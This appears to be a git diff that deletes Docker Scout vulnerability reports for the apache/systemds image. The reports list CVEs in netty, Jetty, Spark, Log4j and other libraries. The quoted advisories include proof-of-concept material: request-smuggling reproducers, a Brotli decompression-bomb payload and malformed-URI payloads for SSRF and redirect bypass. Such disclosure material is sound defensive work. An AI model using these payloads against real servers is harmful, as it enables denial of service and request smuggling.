Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.124.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.054%
EPSS Percentile17th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.124.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.140%
EPSS Percentile35th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/medium-cves/sysds_output12.md b/docker/scout_results/medium-cves/sysds_output12.md deleted file mode 100644 index a7be4936bf9..00000000000 --- a/docker/scout_results/medium-cves/sysds_output12.md +++ /dev/null @@ -1,1114 +0,0 @@ - i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli - ✓ Image stored for indexing - ✓ Indexed 357 packages - ✓ Provenance obtained from attestation - ✗ Detected 15 vulnerable packages with a total of 34 vulnerabilities - ✓ Report written to docker/scout_results/medium-cves/sysds_output12.md -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:bfc78a15125f7413bd1b16fbe093e9f730ddc18c7d6f545c62f691b6e6d31124
vulnerabilitiescritical: 1 high: 9 medium: 19 low: 4 unspecified: 1
platformlinux/amd64
size370 MB
packages357
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> 